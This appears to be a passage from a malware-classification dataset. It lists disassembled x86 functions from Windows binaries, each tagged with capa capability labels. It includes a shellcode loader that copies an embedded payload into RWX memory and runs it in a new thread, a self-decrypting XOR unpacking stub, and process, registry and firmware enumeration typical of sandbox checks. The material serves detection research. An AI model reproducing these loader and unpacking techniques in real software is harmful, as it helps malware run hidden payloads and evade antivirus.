joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4011d0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Print debug messages
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x128
lea eax, [esp + 4]
push esi
push edi
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
mov edi, ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [0x4055a0]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
test al, 1
jne 0x401217
or al, 1
mov byte [0x4055a0], al
call esi
mov dword [0x40559c], eax
cmp dword [0x4055ac], 8
jle 0x401255
mov dword [0x4055ac], 0
call esi
mov ecx, dword [0x40559c]
mov edx, eax
sub edx, ecx
mov dword [0x40559c], eax
mov dword [esp + 8], edx
fild dword [esp + 8]
fmul dword [0x4032e0]
fdivr dword [0x4032dc]
fstp dword [0x405598]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push str.VirtualAlloc
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x405030]
push 0x40
push 0x3000
push ecx
push 0
call eax
mov ecx, dword [0x405030]
lea esi, [edi + 0x4da90]
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
mov ecx, edx
push 0
push eax
and ecx, 3
push eax
push 0
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.worinimahuorong
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call dword [sym.imp.USER32.dll_GetInputState]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push 0
push 0
lea eax, [esp + 0x18]
push 0
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x2c]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x30]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
pop edi
mov eax, 1
pop esi
add esp, 0x128
ret
Function at 0x401330
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402d00
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x10], esp
call dword [sym.imp.USER32.dll_GetInputState]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push 0
push 0
lea eax, [ebp - 0x3c]
push 0
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
push str.shibushizheli__zhe_SB_huorong_yeshi_meishui_l
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
lea ecx, [ebp - 0x14]
push 0x403768
push ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0x44
call sub.MSVCRT.dll__CxxThrowException
mov dword [ebp - 0x10], esp
lea edx, [ebp - 0x18]
push 0x403768
push edx
mov byte [ebp - 4], 2
mov dword [ebp - 0x18], 0x44
call sub.MSVCRT.dll__CxxThrowException
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x1c]
push 0x403768
push eax
mov byte [ebp - 4], 4
mov dword [ebp - 0x1c], 0x44
call sub.MSVCRT.dll__CxxThrowException
mov eax, 0x401428
ret

Function at 0x401960
Capabilities:
Enumerate threads

Disassembly:
push 0xffffffffffffffff
push 0x402d58
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
mov al, byte [esp + 0x44]
push ebx
xor ebx, ebx
push esi
push edi
mov dword [esp + 0xc], ebx
mov byte [esp + 0x10], al
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
push ebx
push 4
mov dword [esp + 0x4c], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x20]
mov esi, eax
push ecx
push esi
mov dword [esp + 0x28], 0x1c
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x4019e8
mov edi, dword [esp + 0x50]
cmp dword [esp + 0x2c], edi
jne 0x4019d9
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x28]
push edx
push 1
push eax
lea ecx, [esp + 0x1c]
call fcn.004025a0
lea ecx, [esp + 0x20]
push ecx
push esi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x4019be
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x4c]
mov ecx, dword [esp + 0x14]
mov dl, byte [esp + 0x10]
cmp ecx, ebx
mov byte [esi], dl
jne 0x401a05
xor eax, eax
jmp 0x401a0e
mov eax, dword [esp + 0x18]
sub eax, ecx
sar eax, 2
cmp eax, ebx
jge 0x401a14
xor eax, eax
shl eax, 2
push eax
call sub.MFC42.DLL_operatornew
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
add esp, 4
cmp ecx, edx
mov dword [esi + 4], eax
je 0x401a45
cmp eax, ebx
je 0x401a37
mov edi, dword [ecx]
mov dword [eax], edi
add ecx, 4
add eax, 4
cmp ecx, edx
jne 0x401a2f
mov ecx, dword [esp + 0x14]
push ecx
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
call sub.MFC42.DLL_operatordelete
mov ecx, dword [esp + 0x40]
add esp, 4
mov eax, esi
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x3c
ret
Function at 0x401b10
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push 2
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x401b7b
mov edi, dword [esp + 0x13c]
mov ebx, dword [sym.imp.MSVCRT.dll__mbsicmp]
lea ecx, [esp + 0x34]
push edi
push ecx
call ebx
add esp, 8
test eax, eax
je 0x401b77
lea edx, [esp + 0x10]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x401b7b
lea eax, [esp + 0x34]
push edi
push eax
call ebx
add esp, 8
test eax, eax
jne 0x401b59
mov ebp, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x128
ret
Function at 0x40ac04
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov edx, eax
push esi
mov esi, dword [ebp + 8]
and ecx, 0xfffffffc
jbe 0x40ac48
rol eax, 5
xor eax, dword [edx + esi]
add edx, 4
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, 4
imul eax, eax, 0x9e3779b9
cmp edx, ecx
jb 0x40ac17
jmp 0x40ac48
movsx ecx, byte [edx + esi]
rol eax, 5
xor eax, ecx
imul eax, eax, 0x9e3779b9
inc edx
cmp edx, dword [ebp + 0xc]
jb 0x40ac38
pop esi
pop ebp
ret

Function at 0x40b9a0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 1
lea esi, [ebx - 1]
push 0x2000
not esi
push ebx
and esi, 0xf0deafff
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, esi
jne 0x40b9d5
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp esi, dword [ebp - 0x18]
jb 0x40b9ff
lea eax, [esi + ebx]
cmp eax, dword [ebp - 0x18]
jb 0x40b9ff
test edi, edi
je 0x40b9cc
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40b9cc
test edi, edi
je 0x40ba07
mov eax, edi
jmp 0x40b9ce
push 1
push 0x2000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x40b9ce
mov esi, 0xc3
push esi
push str.c:_builds_moz2_slave_m_in_w32_d_0000000000000000000_build_src_mfbt_Poison.cpp
push str.no_usable_poison_region_identified
call fcn.0040e51d
add esp, 0xc
int3
Function at 0x40e551
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestArray.exe_gMozillaPoisonSize], eax
call fcn.0040b9a0
pop ecx
mov ecx, dword [sym.TestArray.exe_gMozillaPoisonSize]
mov dword [sym.TestArray.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x40e589
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestArray.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10029810
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x23c]
sub esp, 0x23c
push 0xffffffffffffffff
push 0x10081146
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x100c6034]
xor eax, ebp
mov dword [ebp + 0x238], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x10], 0
mov eax, dword fs:[0x2c]
mov ecx, dword [0x100d1704]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x100d1f38]
cmp eax, dword [ecx + 4]
jle 0x100298e9
push 0x100d1f38
call fcn.1005c89d
add esp, 4
cmp dword [0x100d1f38], 0xffffffff
jne 0x100298e9
mov dword [ebp - 4], 1
xor eax, eax
mov dword [0x100d1f3c], 0
mov dword [0x100d1f4c], 0
mov dword [0x100d1f50], 0
mov dword [0x100d1f4c], 0
mov dword [0x100d1f50], 7
mov word [0x100d1f3c], ax
mov byte [ebp - 4], 1
push 0x10095df0
call fcn.1005cc78
mov byte [ebp - 4], 0
push 0x100d1f38
call fcn.1005c853
add esp, 8
cmp dword [0x100d1f4c], 0
jne 0x100299d5
lea eax, [ebp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x100299d5
add eax, eax
cmp eax, 0x208
jae 0x10029a13
xor ecx, ecx
mov dword [ebp + 0x28], ecx
mov word [ebp + eax + 0x30], cx
xor eax, eax
mov dword [ebp + 0x18], ecx
mov dword [ebp + 0x2c], ecx
mov dword [ebp + 0x28], ecx
lea ecx, [ebp + 0x30]
mov dword [ebp + 0x2c], 7
lea edx, [ecx + 2]
mov word [ebp + 0x18], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10029940
sub ecx, edx
lea eax, [ebp + 0x30]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp + 0x18]
call fcn.10027680
mov dword [ebp - 4], 4
lea eax, [ebp + 0x18]
push 1
sub esp, 0x18
mov dword [ebp - 0x14], esp
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.10027420
mov byte [ebp - 4], 5
mov byte [ebp - 4], 4
mov ecx, esi
call fcn.10032040
add esp, 0x18
mov byte [ebp - 4], 6
mov byte [ebp - 4], 4
lea ecx, [ebp]
call fcn.10032280
mov byte [ebp - 4], 8
lea eax, [ebp]
cmp dword [ebp + 0x14], 8
mov ecx, 0x100d1f3c
push dword [ebp + 0x10]
cmovae eax, dword [ebp]
push eax
call fcn.10027680
mov byte [ebp - 4], 4
lea ecx, [ebp]
call fcn.10027d30
mov byte [ebp - 4], 0
lea ecx, [ebp + 0x18]
call fcn.10027d30
push 0x100d1f3c
mov ecx, edi
call fcn.10027420
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp + 0x238]
xor ecx, ebp
call fcn.1005c4e7
lea esp, [ebp + 0x23c]
pop ebp
ret
call fcn.1005c68f
int3
Function at 0x10029ae0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100812b9
mov eax, dword fs:[0]
push eax
sub esp, 0x234
mov eax, dword [0x100c6034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x238], edi
mov dword [ebp - 0x23c], edi
mov dword [ebp - 0x234], 0
cmp dword [edx + 0x14], 8
jb 0x10029b2d
mov edx, dword [edx]
lea eax, [ebp - 0x218]
push eax
push 0
push 0x100a77d0
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x10029b72
xorps xmm0, xmm0
movups xmmword [edi], xmm0
movq qword [edi + 0x10], xmm0
mov dword [edi], eax
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], 7
mov word [edi], ax
mov dword [ebp - 4], eax
mov dword [ebp - 0x234], 1
jmp 0x10029c41
xor eax, eax
mov dword [ebp - 0x230], 0
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0
lea edx, [ecx + 2]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10029bb6
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x230]
call fcn.10027680
mov dword [ebp - 4], 0x16
lea eax, [ebp - 0x230]
push 1
sub esp, 0x18
mov dword [ebp - 0x238], esp
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x240], esp
push eax
call fcn.10027420
mov byte [ebp - 4], 0x17
mov byte [ebp - 4], 0x16
mov ecx, esi
call fcn.10032040
add esp, 0x18
mov byte [ebp - 4], 0x18
mov byte [ebp - 4], 0x16
mov ecx, edi
call fcn.10032280
mov byte [ebp - 4], 0x16
mov dword [ebp - 0x234], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x230]
call fcn.10027d30
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005c4e7
mov esp, ebp
pop ebp
ret

Function at 0x10029c60
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push esi
mov esi, dword [esp + 0x10]
xor ecx, ecx
test esi, esi
je 0x10029c8a
mov edx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x10029c74
pop edi
mov eax, edx
pop esi
ret
mov eax, dword [esp + 8]
pop esi
ret
Function at 0x1002a0b0
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x210]
sub esp, 0x210
push 0xffffffffffffffff
push 0x100814b5
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x100c6034]
xor eax, ebp
mov dword [ebp + 0x20c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov esi, dword [ebp + 0x218]
mov dword [ebp - 0x14], edi
mov dword [edi], 0x100a32fc
mov dword [edi + 4], 0
mov dword [ebp - 4], 0
lea eax, [ebp]
push 0x105
push eax
mov dword [edi + 8], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x1002a20a
cmp eax, 0x105
jae 0x1002a20a
call fcn.10029330
mov ecx, eax
test ecx, ecx
je 0x1002a25a
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 1
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x10]
call fcn.1002b120
test al, al
jne 0x1002a18c
lea ecx, [ebp]
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1002a170
sub ecx, edx
lea eax, [ebp]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x10]
call fcn.1002b490
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x10]
push 1
push 0x100a5d9c
call fcn.1002ae70
test esi, esi
jne 0x1002a1a7
xor ecx, ecx
jmp 0x1002a1bf
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1002a1b0
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x10]
call fcn.1002ae70
mov esi, dword [ebp - 0x10]
push 0x5c
push esi
call fcn.1005dc73
add esp, 8
test eax, eax
jne 0x1002a1df
xor ebx, ebx
jmp 0x1002a1ec
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov ebx, eax
mov byte [ebp - 4], 0
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x1002a20c
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x1002a20c
xor ebx, ebx
mov eax, dword [edi + 4]
cmp ebx, eax
je 0x1002a21f
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
mov dword [edi + 4], ebx
mov eax, ebx
test eax, eax
jne 0x1002a22c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi + 8], eax
mov dword [ebp - 4], 0xffffffff
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x20c]
xor ecx, ebp
call fcn.1005c4e7
lea esp, [ebp + 0x210]
pop ebp
ret 8
push 0x80004005
call fcn.100269b0
int3
Function at 0x1002afe0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10080ce0
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x100c6034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1002b065
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x1002b065
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x1002b047
cmp esi, edx
jae 0x1002b065
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x1002b035
cmp esi, edx
jae 0x1002b065
cmp word [esi], 0
je 0x1002b065
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1002b6a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x8004]
mov eax, 0x8004
call fcn.1005d810
push 0xffffffffffffffff
push 0x1008187d
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x100c6034]
xor eax, ebp
mov dword [ebp + 0x8000], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x18], esi
cmp dword [esi + 4], 0
mov eax, dword [ebp + 0x800c]
mov dword [ebp - 0x1c], eax
jne 0x1002b6f8
xor al, al
jmp 0x1002b786
mov ecx, eax
call fcn.1002bc30
xor edi, edi
push 0
push 0
lea eax, [ebp - 0x20]
mov dword [ebp - 0x10], 0x3fff
push eax
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp]
push eax
push edi
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov ebx, eax
test ebx, ebx
jne 0x1002b778
mov esi, dword [ebp - 0x10]
call fcn.10029330
push eax
push esi
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.1002c040
mov dword [ebp - 4], 1
lea eax, [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
push eax
call fcn.1002bcd0
mov dword [ebp - 4], 0xffffffff
or eax, 0xffffffff
mov edx, dword [ebp - 0x14]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1002b775
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x18]
inc edi
test ebx, ebx
je 0x1002b701
cmp ebx, 0x103
sete al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x8000]
xor ecx, ebp
call fcn.1005c4e7
lea esp, [ebp + 0x8004]
pop ebp
ret 8
Function at 0x1002bac0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1008198d
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x100c6034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov ebx, ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
push 0
mov dword [ebp - 0x10], 0xc8
call fcn.1005c4f5
add esp, 4
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 0x14]
push dword [ebp - 0x10]
call fcn.10026890
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x18]
push eax
push 0
push dword [edi]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, 0xea
jne 0x1002bb7d
nop dword [eax + eax]
add dword [ebp - 0x10], 2
push esi
call fcn.1005c4f5
add esp, 4
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 0x14]
push dword [ebp - 0x10]
call fcn.10026890
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x18]
push eax
push 0
push dword [edi]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, 0xea
je 0x1002bb40
test eax, eax
jne 0x1002bbac
mov eax, dword [ebp - 0x18]
cmp eax, 1
je 0x1002bbb0
cmp eax, 2
je 0x1002bbb0
cmp eax, 7
je 0x1002bbb0
cmp eax, 4
jne 0x1002bbac
push dword [esi]
push 0x100a5da0
push dword [ebp + 8]
call fcn.1002c0c0
add esp, 0xc
jmp 0x1002bc01
xor bl, bl
jmp 0x1002bc03
mov eax, dword [ebp - 0x10]
xor ecx, ecx
shr eax, 1
mov dword [ebp - 0x10], eax
mov word [esi + eax*2], cx
mov edi, dword [ebp - 0x10]
cmp word [esi + edi*2], cx
jne 0x1002bbd1
dec edi
mov dword [ebp - 0x10], edi
cmp word [esi + edi*2], cx
je 0x1002bbc7
inc edi
mov dword [ebp - 0x10], edi
call fcn.10029330
push eax
push edi
push esi
lea ecx, [ebp - 0x1c]
call fcn.1002c040
mov byte [ebp - 4], 2
lea eax, [ebp - 0x1c]
mov ecx, dword [ebp + 8]
push eax
call fcn.1002bf90
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.10027df0
mov bl, 1
mov dword [ebp - 4], 0xffffffff
push esi
call fcn.1005c4f5
add esp, 4
mov dword [ebp - 0x14], 0
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1002dce0
Capabilities:
Get system firmware table

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10081fd6
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
push edi
mov eax, dword [0x100c6034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x18], esi
push 0
push 0
push 0
push 0x52534d42
mov dword [ebp - 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
mov edi, eax
test edi, edi
jne 0x1002dd49
mov dword [esi], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edx, edi
lea ecx, [ebp - 0x10]
call fcn.1002e630
mov dword [ebp - 4], 1
push edi
push dword [ebp - 0x10]
push 0
push 0x52534d42
call dword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
mov dword [ebp - 0x14], 1
cmp eax, edi
je 0x1002dd7e
mov dword [esi], 0
jmp 0x1002dd8a
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], 0
mov dword [esi], eax
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x1002dd9e
push eax
call fcn.1005c4f5
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1002e6b0
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push 0
push 0
push dword [esp + 0x18]
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov edi, eax
xor ebx, ebx
test edi, edi
jne 0x1002e6da
mov ecx, esi
call fcn.1002b1e0
pop edi
pop esi
mov eax, ebx
pop ebx
ret 4
js 0x1002e740
mov edx, dword [esi]
mov ecx, 1
mov eax, dword [edx - 8]
sub ecx, dword [edx - 4]
sub eax, edi
or ecx, eax
jge 0x1002e6f9
push edi
mov ecx, esi
call fcn.1002b370
mov edx, dword [esi]
push edi
push edx
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov eax, dword [esi]
test eax, eax
jne 0x1002e70f
xor ecx, ecx
jmp 0x1002e721
push dword [eax - 8]
push eax
call fcn.100617b7
mov ecx, eax
add esp, 8
test ecx, ecx
js 0x1002e740
mov eax, dword [esi]
cmp ecx, dword [eax - 8]
jg 0x1002e740
mov dword [eax - 0xc], ecx
xor edx, edx
mov eax, dword [esi]
mov ebx, 1
pop edi
pop esi
mov word [eax + ecx*2], dx
mov eax, ebx
pop ebx
ret 4
push 0x80070057
call fcn.100269b0
int3